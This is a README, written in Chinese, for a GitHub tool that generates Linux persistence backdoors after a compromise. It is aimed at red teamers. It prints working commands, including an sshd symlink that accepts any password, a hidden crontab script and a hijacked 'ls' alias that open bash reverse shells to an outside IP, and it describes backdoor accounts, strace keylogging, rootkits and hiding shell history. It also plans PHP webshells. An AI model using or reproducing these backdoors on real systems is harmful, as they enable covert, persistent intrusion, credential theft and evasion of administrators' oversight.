Skip to content

RabbitSudo/HackerPermKeeper

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

46 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🔒 HackerPermKeeper

黑客权限保持者



GitHub Contributors GitHub Contributors GitHub Contributors

通过渗透拿到权限之后,为了不让权限丢失,都会进行权限维持,而在进行权限维持的时候,红队需要花费大量的时候,来验证是否合适,因此在这款工具就诞生 HackerPermKeeper[黑客权限保持者]
查看下面的表格可以知道生成的权限维持文件可以运行的python版本,但是这个项目本身是python3运行的[我自己的环境是Python 3.9.7]

🔒权限维持模块 centos Ubuntu 推荐指数 需要权限 备注 py2 py3
OpenSSH后门万能密码&记录密码 ✔️ root 此后门需要很老的内核版本,而且需要很多依赖环境 ✔️
PAM后门 此后门需要很老的内核版本,而且需要很多依赖环境
ssh软链接 ✔️ ✔️ ⭐ ⭐ root 容易被发现 ✔️ ✔️
ssh公私密钥 ✔️ ✔️ ⭐ ⭐ ⭐ ⭐ ⭐ User 发现程度很难,参考了挖矿病毒 ✔️ ✔️
后门帐号 ✔️ ✔️ ⭐ ⭐ ⭐ root 用命令添加账户,不会创建用户home目录[有一个是直接指向root目录] ✔️ ✔️
crontab计划任务 ✔️ ✔️ ⭐ ⭐ ⭐ ⭐ User or root 难以发现,通过执行计划任务 ✔️ ✔️
Strace后门 ✔️ ✔️ ⭐ ⭐ root 键盘记录的后门 ✔️ ✔️
Alias后门 ✔️ ✔️ ⭐ ⭐ ⭐ ⭐ root 别名后门,难以发现,但是需要用户去执行命令 ✔️ ✔️
Rootkit后门[检测] ⭐ ⭐ ⭐ root 难以发现,但是安装复杂,而且指定内核版本
空格不记录命令 ✔️ ✔️ ⭐ ⭐ ⭐⭐⭐⭐ root 有的服务器设置了空格记录执行命令,执行这个脚本快速设置不记录空格命令 ✔️ ✔️
ssh软链接&crontab ✔️ ✔️ ⭐ ⭐ ⭐ ⭐ root 快速生成软链接[需要运行脚本成功后,一分钟连接],并且执行计划任务,每分钟判断当前软链接是否存在,如果被kill掉,就重新执行 ✔️ ✔️
check.py ✔️ ✔️ ⭐ ⭐ ⭐ ⭐⭐⭐ User 快速检测目标机器可以使用那个权限维持模块 ✔️ ✔️

🚀快速使用

image

python3运行此项目[我自己的环境是Python 3.9.7],但是运行权限维持模块脚本请看上面的表格
安装依赖
pip install -r requirements.txt

image

快速判断目标机器适合的权限维持模块,运行 /check/ 目录下的check.py文件[这个不需要任何依赖环境,python3和python2都支持]
python check.py
python3 check.py
python2 check.py

image

查看权限维持模块信息
python main.py -c 1

image

查看权限维持模详细块信息
python main.py -c 2

image

使用此项目生成权限维持脚本[在这之前,请先运行check.py脚本判断出目标机器适合什么类型权限维持的脚本]
python main.py -m 1   #选择模块

image

有的生成的脚本文件。需要在生成之后进行手动修改
比如:修改反弹shellip以及端口,后门用户密码,ssh密钥密码,ssh密钥等[此缺陷将会在第二个版本修复]
生成的文件会在payloads目录下产生

image

使用视频:https://www.bilibili.com/video/BV1fV411N7Qc/

🚩 常见后门介绍

OpenSSH后门万能密码&记录密码(这个需要依赖环境),就是把对方的门换个锁,但是原来的钥匙也可以使用
发现程度:||

PAM后门,PAM是一个Linux登录验证的认证服务,修改其中关于ssh登录的验证,添加一个万能密码,已经记录的账号密码位置(类似把对方房间内有内鬼)
发现程度:||


SSH软链接
cat /etc/ssh/sshd_config|grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
ssh [email protected] -p 8888 任意密码登录即可
发现程度:||||||


公私钥
使用密钥进行登录
发现程度:||||||


后门帐号
使用命令添加账号
发现程度:||||||


crontab后计划任务
1、编辑后门反弹
vim /etc/.111.sh

#!/bin/bash
sh -i >& /dev/tcp/192.168.86.137/3434 0>&1

chmod +x /etc/.111.sh

2、添加定时任务
vim /etc/crontab
*/1 * * * * root /etc/.1111.sh
发现程度:||||||


Strace后门
strace是一个动态跟踪工具,它可以跟踪系统调用的执行。
我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
可以记录ssh明文和密钥(登录的)和Rootkit配合一起
发现程度:||||

命令自定义-Alias后门
alias命令的功能:为命令设置别名
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.86.137/3333 0>&1; };alerts'
执行ls就会反弹shell
持久化+隐藏:重启依旧生效
发现程度:||||

Rootkit后门
https://github.com/f0rb1dd3n/Reptile/releases/
Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。
发现程度:||
但是使用工具进行检测出来情况很大,建议看代码,手动编写此工具(难度很大)


history不记录执行命令
在输入命令时候,添加空格

ssh软链接&crontab
快速生成软链接[需要运行脚本成功后,一分钟连接],并且执行计划任务,每分钟判断当前软链接是否存在,如果被kill掉,就重新执行

|||||  越多,越容易发发现
||        越少,越难发现,但是部署起来,需要的依赖很多

⚠️错误error

1、
使用ssh密钥后门连接的时候,出现这个错误,就是当前ip有在known_hosts中存在多个主机文件
解决:ssh-keygen -f "known_hosts文件" -R "目标Ip"
或者使用另外一台机器连接

TON3EA2_MQW`94HRK53GZTQ 删除成功 image

2、
下载的ssh密钥连接的时候出现安全性错误
![image](https://github.com/RuoJi6/HackerPermKeeper/assets/79234113/76dfafe5-22a7-4698-b08e-fd5857a15641)
解决:修改权限 chmod 600 密钥文件,然后在连接

image



⚡提交问题

有问题请提交issues

加我微信进开发者微信群聊


🗺️版本更新

1.0 权限维持
----------------------------------------------------------------------------------------------------------
2.0 1、利用成功之后删除文件
    2、命令配合使用[软链接+计划任务]
    3、判断当前系统有没有python环境
    4、使用ssh密钥的时候,在对方服务器生成的时候,生成完成之后,删除文件id_ed25519.pub和id_ed25519
    5、设置全局环境变量不记录空格命令[history]
    6、修改在不同环境下,main.py运行bug
    7、修复计划任务,在反弹shell的时候,出现的python版本问题
    8、ssh密钥权限维持模块,bug修复,如果是出现不是root,权限也可以成功
    9、修复check.py脚本检测普通用户权限
----------------------------------------------------------------------------------------------------------
3.0 1、php web权限维持马[首页马,加密马内存马,不死马]
    2、模块配合使用[添加用户加计划任务,ssh密钥加计划任务]

🌟Stargazers over time Stargazers over time

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 100.0%